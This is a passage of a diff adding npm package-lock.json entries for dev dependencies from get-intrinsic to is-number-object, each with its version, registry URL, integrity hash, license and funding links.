+ "es-object-atoms": "^1.1.1",
+ "function-bind": "^1.1.2",
+ "get-proto": "^1.0.1",
+ "gopd": "^1.2.0",
+ "has-symbols": "^1.1.0",
+ "hasown": "^2.0.2",
+ "math-intrinsics": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/get-package-type": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz",
+ "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8.0.0"
+ }
+ },
+ "node_modules/get-proto": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
+ "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "dunder-proto": "^1.0.1",
+ "es-object-atoms": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/get-symbol-description": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz",
+ "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3",
+ "es-errors": "^1.3.0",
+ "get-intrinsic": "^1.2.6"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/glob": {
+ "version": "7.2.3",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
+ "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
+ "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me",
+ "dev": true,
+ "license": "ISC",
+ "dependencies": {
+ "fs.realpath": "^1.0.0",
+ "inflight": "^1.0.4",
+ "inherits": "2",
+ "minimatch": "^3.1.1",
+ "once": "^1.3.0",
+ "path-is-absolute": "^1.0.0"
+ },
+ "engines": {
+ "node": "*"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "license": "ISC",
+ "dependencies": {
+ "is-glob": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/glob/node_modules/brace-expansion": {
+ "version": "1.1.16",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz",
+ "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "balanced-match": "^1.0.0",
+ "concat-map": "0.0.1"
+ }
+ },
+ "node_modules/glob/node_modules/minimatch": {
+ "version": "3.1.5",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+ "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+ "dev": true,
+ "license": "ISC",
+ "dependencies": {
+ "brace-expansion": "^1.1.7"
+ },
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/globalthis": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz",
+ "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "define-properties": "^1.2.1",
+ "gopd": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/globby": {
+ "version": "11.1.0",
+ "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz",
+ "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "array-union": "^2.1.0",
+ "dir-glob": "^3.0.1",
+ "fast-glob": "^3.2.9",
+ "ignore": "^5.2.0",
+ "merge2": "^1.4.1",
+ "slash": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/gopd": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
+ "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/graceful-fs": {
+ "version": "4.2.11",
+ "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
+ "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
+ "dev": true,
+ "license": "ISC"
+ },
+ "node_modules/graphology": {
+ "version": "0.26.0",
+ "resolved": "https://registry.npmjs.org/graphology/-/graphology-0.26.0.tgz",
+ "integrity": "sha512-8SSImzgUUYC89Z042s+0r/vMibY7GX/Emz4LDO5e7jYXhuoWfHISPFJYjpRLUSJGq6UQ6xlenvX1p/hJdfXuXg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "events": "^3.3.0"
+ },
+ "peerDependencies": {
+ "graphology-types": ">=0.24.0"
+ }
+ },
+ "node_modules/graphology-types": {
+ "version": "0.24.8",
+ "resolved": "https://registry.npmjs.org/graphology-types/-/graphology-types-0.24.8.tgz",
+ "integrity": "sha512-hDRKYXa8TsoZHjgEaysSRyPdT6uB78Ci8WnjgbStlQysz7xR52PInxNsmnB7IBOM1BhikxkNyCVEFgmPKnpx3Q==",
+ "dev": true,
+ "license": "MIT",
+ "peer": true
+ },
+ "node_modules/has-bigints": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz",
+ "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/has-property-descriptors": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
+ "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "es-define-property": "^1.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/has-proto": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz",
+ "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "dunder-proto": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/has-symbols": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
+ "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/has-tostringtag": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz",
+ "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "has-symbols": "^1.0.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/hasown": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz",
+ "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "function-bind": "^1.1.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/header-case": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/header-case/-/header-case-2.0.4.tgz",
+ "integrity": "sha512-H/vuk5TEEVZwrR0lp2zed9OCo1uAILMlx0JEMgC26rzyJJ3N1v6XkwHHXJQdR2doSjcGPM6OKPYoJgf0plJ11Q==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "capital-case": "^1.0.4",
+ "tslib": "^2.0.3"
+ }
+ },
+ "node_modules/header-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/hyperlinker": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/hyperlinker/-/hyperlinker-1.0.0.tgz",
+ "integrity": "sha512-Ty8UblRWFEcfSuIaajM34LdPXIhbs1ajEX/BBPv24J+enSVaEVY63xQ6lTO9VRYS5LAoghIG0IDJ+p+IPzKUQQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/iconv-lite": {
+ "version": "0.7.3",
+ "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz",
+ "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "safer-buffer": ">= 2.1.2 < 3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/ieee754": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
+ "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "license": "BSD-3-Clause"
+ },
+ "node_modules/ignore": {
+ "version": "5.3.2",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz",
+ "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 4"
+ }
+ },
+ "node_modules/immer": {
+ "version": "9.0.21",
+ "resolved": "https://registry.npmjs.org/immer/-/immer-9.0.21.tgz",
+ "integrity": "sha512-bc4NBHqOqSfRW7POMkHd51LvClaeMXpm8dx0e8oE2GORbq5aRK7Bxl4FyzVLdGtLmvLKL7BTDBG5ACQm4HWjTA==",
+ "dev": true,
+ "license": "MIT",
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/immer"
+ }
+ },
+ "node_modules/import-fresh": {
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz",
+ "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "parent-module": "^1.0.0",
+ "resolve-from": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/indent-string": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
+ "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/inflight": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+ "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+ "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.",
+ "dev": true,
+ "license": "ISC",
+ "dependencies": {
+ "once": "^1.3.0",
+ "wrappy": "1"
+ }
+ },
+ "node_modules/inherits": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+ "dev": true,
+ "license": "ISC"
+ },
+ "node_modules/inquirer": {
+ "version": "8.2.7",
+ "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-8.2.7.tgz",
+ "integrity": "sha512-UjOaSel/iddGZJ5xP/Eixh6dY1XghiBw4XK13rCCIJcJfyhhoul/7KhLLUGtebEj6GDYM6Vnx/mVsjx2L/mFIA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/external-editor": "^1.0.0",
+ "ansi-escapes": "^4.2.1",
+ "chalk": "^4.1.1",
+ "cli-cursor": "^3.1.0",
+ "cli-width": "^3.0.0",
+ "figures": "^3.0.0",
+ "lodash": "^4.17.21",
+ "mute-stream": "0.0.8",
+ "ora": "^5.4.1",
+ "run-async": "^2.4.0",
+ "rxjs": "^7.5.5",
+ "string-width": "^4.1.0",
+ "strip-ansi": "^6.0.0",
+ "through": "^2.3.6",
+ "wrap-ansi": "^6.0.1"
+ },
+ "engines": {
+ "node": ">=12.0.0"
+ }
+ },
+ "node_modules/inquirer/node_modules/wrap-ansi": {
+ "version": "6.2.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz",
+ "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "ansi-styles": "^4.0.0",
+ "string-width": "^4.1.0",
+ "strip-ansi": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/internal-slot": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz",
+ "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "hasown": "^2.0.2",
+ "side-channel": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/is-array-buffer": {
+ "version": "3.0.5",
+ "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz",
+ "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind": "^1.0.8",
+ "call-bound": "^1.0.3",
+ "get-intrinsic": "^1.2.6"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-arrayish": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
+ "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/is-async-function": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz",
+ "integrity": "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "async-function": "^1.0.0",
+ "call-bound": "^1.0.3",
+ "get-proto": "^1.0.1",
+ "has-tostringtag": "^1.0.2",
+ "safe-regex-test": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-bigint": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz",
+ "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "has-bigints": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-boolean-object": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz",
+ "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3",
+ "has-tostringtag": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-callable": {
+ "version": "1.2.7",
+ "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz",
+ "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-data-view": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz",
+ "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "get-intrinsic": "^1.2.6",
+ "is-typed-array": "^1.1.13"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-date-object": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz",
+ "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "has-tostringtag": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-docker": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz",
+ "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==",
+ "dev": true,
+ "license": "MIT",
+ "bin": {
+ "is-docker": "cli.js"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/is-document.all": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-document.all/-/is-document.all-1.0.0.tgz",
+ "integrity": "sha512-+XSoyS05OdBbhFuELhgTCpFNHkpBOJqtsZfUFFpe5QTw+9Sjbh8zitxhQkYAo6wV7e1Vb8cAPvpCk9jGam/82g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.4"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-extglob": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
+ "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-finalizationregistry": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz",
+ "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-fullwidth-code-point": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/is-generator-function": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.2.tgz",
+ "integrity": "sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.4",
+ "generator-function": "^2.0.0",
+ "get-proto": "^1.0.1",
+ "has-tostringtag": "^1.0.2",
+ "safe-regex-test": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-glob": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
+ "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "is-extglob": "^2.1.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-interactive": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz",
+ "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/is-map": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz",
+ "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-negative-zero": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz",
+ "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.12.0"
+ }
+ },
+ "node_modules/is-number-object": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz",
+ "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3",
+ "has-tostringtag": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
